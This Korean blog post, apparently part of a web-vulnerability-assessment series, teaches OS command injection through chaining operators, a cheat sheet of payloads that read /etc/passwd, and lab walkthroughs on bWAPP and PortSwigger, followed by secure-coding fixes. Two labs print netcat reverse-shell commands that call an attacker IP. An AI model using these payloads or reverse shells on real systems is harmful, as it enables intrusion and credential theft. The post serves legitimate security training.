■ 개요
- 시스템 명령어를 쿼리문에 주입하여 취약한 변수를 통해 서버 운영체제에 접근하는 공격
- 웹 페이지에서 시스템 명령어가 실행 시 부적절하게 권한이 변경되거나 시스템 동작 및 운영에 악영향을 미칠 수 있음
- 주요정보통신기반시설 취약점 진단 기준으로 4. 운영체제 명령 실행에 해당
- OWASP TOP 10 2021 A03. Injection에 해당
■ 사전 지식
□ 운영체제별 다중 명령어
명령어 | 운영체제 | 예시 | 설명 |
; | 리눅스 | prog1; prog2 | - prog1이 실패해도 prog2가 실행 |
& | 윈도우 | prog1 & prog2 | - prog1이 실패해도 prog2가 실행 |
& | 리눅스 | prog1 & prog2 | - prog1을백그라운드에서 수행하고 prog2를 수행 |
&& | 리눅스, 윈도우 |
prog1 && prog2 | - prog1이 참일 경우, 다음 명령어를 실행 |
| | 리눅스, 윈도우 | prog1 | prog2 | - prog1을 수행한 결과를 prog2에 전달 |
|| | 리눅스 | prog1 || prog2 | - prog1이 거짓일 경우, prog2를 수행 |
■ OS Command Injection Cheat Sheat
- 하기 링크 참조
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
예시 | ||
?cmd={payload} | ?ping={payload} | ?do={payload} |
?exec={payload} | ?query={payload} | ?func={payload} |
?command={payload} | ?code={payload} | ?arg={payload} |
?execute{payload} | ?reg={payload} | ?option={payload} |
예 시 |
<!--#exec%20cmd="/bin/cat%20/etc/passwd"--> |
/index.html|id| |
";id;" |
;netstat -a; |
|/usr/bin/id |
"||/usr/bin/id|" |
"\n/bin/ls -al\n" |
\n/usr/bin/id| |
;/usr/bin/id\n |
a);id |
|/bin/ls -al |
;system('cat%20/etc/passwd') |
%0Acat%20/etc/passwd |
%22%0A/usr/bin/id%0A%22 |
"& ping -i 30 127.0.0.1 &" |
%0a ping -i 30 127.0.0.1 %0a |
`ping 127.0.0.1` |
%0a id %0a |
$;/usr/bin/id |
%0Acat%20/etc/passwd |
■ OS Command Injection 점검 방법
① 수동 점검
- 웹사이트의 사용자 인수 값을 입력받은 애플리케이션에 운영체제 명령 실행 Cheat Sheet 입력 후, 에러 페이지 또는 특이사항이 발생하는지 확인
② 자동화 도구를 통한 점검
- 자동화 도구(Ex, Burp Suite Pro, Acunetix 등)를 사용하여 점검하고자 하는 사이트에 운영체제 명령 실행 취약 여부 점검
- 아래 예시는 Kali linux에서 제공하는 Commix 도구를 예시로 들었으며, 자세한 사항은 하기 링크 참고
- https://sheow13.tistory.com/60
commix 도구
■ 개요 - commix는 커맨드 인젝션 기반 취약점을 테스트하는데 사용되는 오픈 소스 툴로서, 칼리리눅스에서 기본적으로 제공하고 있는 도구이다. - Linux, Windows, MAC 환경에서 실행할 수 있으며, 다
sheow13.tistory.com
■ Command Injection 실습 환경
- Kali Linux
- Bee Box
- PortSwigger Web Acedemy
■ 실습1 (난이도 : 하)
Step 1) 입력란에 OS 명령어 입력 시 동작 하지 않는 것으로 확인했을 때, nslookup 명령어를 실행시키는 칸으로 추측
Step 2) 여러개의 명령어를 하나의 라인에서 연결시켜 사용할 수 있는 리눅스 파이프 명령어 ‘|’ 입력 하여 요청 시, 명령어 동작 확인
Step 3) 리버스 쉘 연결을 위해 공격자가 netcat 명령어 입력하여 연결 대기
Step 4) netcat 명령어를 통해 리버스 쉘 연결 시도 시, 쉘 권한 획득 확인
※ 명령어 : | nc 192.168.30.132 12345 -e /bin/bash
■ 실습2 (난이도 : 하)
Step 1) php code injection으로 이동 후, message 클릭 시 URI에 message 파라미터가 찍히는 것으로 확인
Step 2) php 명령어 ‘;’와 ‘system’ 명령어를 사용해서 리눅스 계정 패스워드 조회 시 정상 수집 확인
※ 명령어 : https://192.168.30.130/bWAPP/phpi.php?message=Success;system(" cat /etc/passwd")
Step 3) 리버스 쉘 획득을 위해 netcat 명령어 입력 시, 리버스 쉘 권한 획득 확인
※ 명령어 : https://192.168.30.130/bWAPP/phpi.php?message=Success;system(" nc 192.168.30.132 12345 -e /bin/bash")
■ 실습3
Step 1) PortSwigger web academy에서 제공한 Lab은 feedback 제출하는 페이지에서 OS Command Injection에 취약한 환경으로 구성하였다. '/var/www/images' 경로가 일반 사용자도 쓸 수 있는 권한이 부여되어 있으니 출력 리다이렉션을 통해 OS Command Injection을 수행하는 것이 목표
Step 2) 피드백 제출하는 페이지로 이동 후 출력 리다이렉션('>')을 사용하여 '/var/www/images' 경로에 파일에 현재 사용자 계정을 확인하는 명령어를 사용하여 텍스트 파일에 출력되도록 OS Command Injection을 시도 했을 때 정상적으로 업로드 된 것을 확인.
Step 3) 이미지 저장 경로를 확인하기 위해 웹사이트에 업로드된 이미지 링크 확인 시, '/images' 경로에서 filename으로 불러오는 것을 확인하여, 업로드한 'result.txt' 조회 시 현재 접속한 사용자 정보를 불러온 것을 봤을 때 OS Command Injection이 성공했음을 확인.
■ 조치 방법
1. 시큐어코딩을 통해 특수문자 이스케이프 처리
import subprocess
from django.shortcuts import render
def execute_command(request):
date = request.POST.get(‘date’,“)
# 명령어를 추가로 실행 또는 또 다른 명령이 실행될 수 있는 키워드에 대한 예외처리
for word in [‘|’, ‘;’, ‘&’, ‘:’, ‘>’, ‘<’, ‘“, ’\\’, ‘!’]:
date = date.replace(word, “”)
# shell=True 옵션은 제거하고 명령과 인자를 배열로 입력
subprocess.run([“cmd”, “/c”, “backuplog.bat”, date])
return render(request, ‘/success.html’)
2. HTML에서 htmlspecialchars() 함수를 사용하여 특수문자를 이스케이프 처리
function a($var) // 입력 받은 특수문자를 이스케이프 처리
{
if (is_array($var)) {
return array_map(‘a’, $var);
} else {
return htmlspecialchars($var, ENT_QUOTES, ‘UTF-8’);
}
3. 웹 서버의 권한을 최소한의 권한으로 설정하여 명령 실행의 결과를 최소화
....
(생략)
safe_mode = On
# PHP에 의한 파일 엑세스 시 권한을 점검하여, 웹 프로그램이 중요 파일을 엑세스 못하도록 설정
...
'모의해킹&웹취약점진단 > 주•통기반 웹 취약점 점검' 카테고리의 다른 글
09. 정보 누출 (2) | 2023.12.01 |
---|---|
07. XPath 인젝션 (0) | 2023.10.19 |
05. SQL Injection (1) | 2023.10.19 |
01. buffer overflow 취약점 (0) | 2023.10.12 |
06. SSI 인젝션 (0) | 2023.09.19 |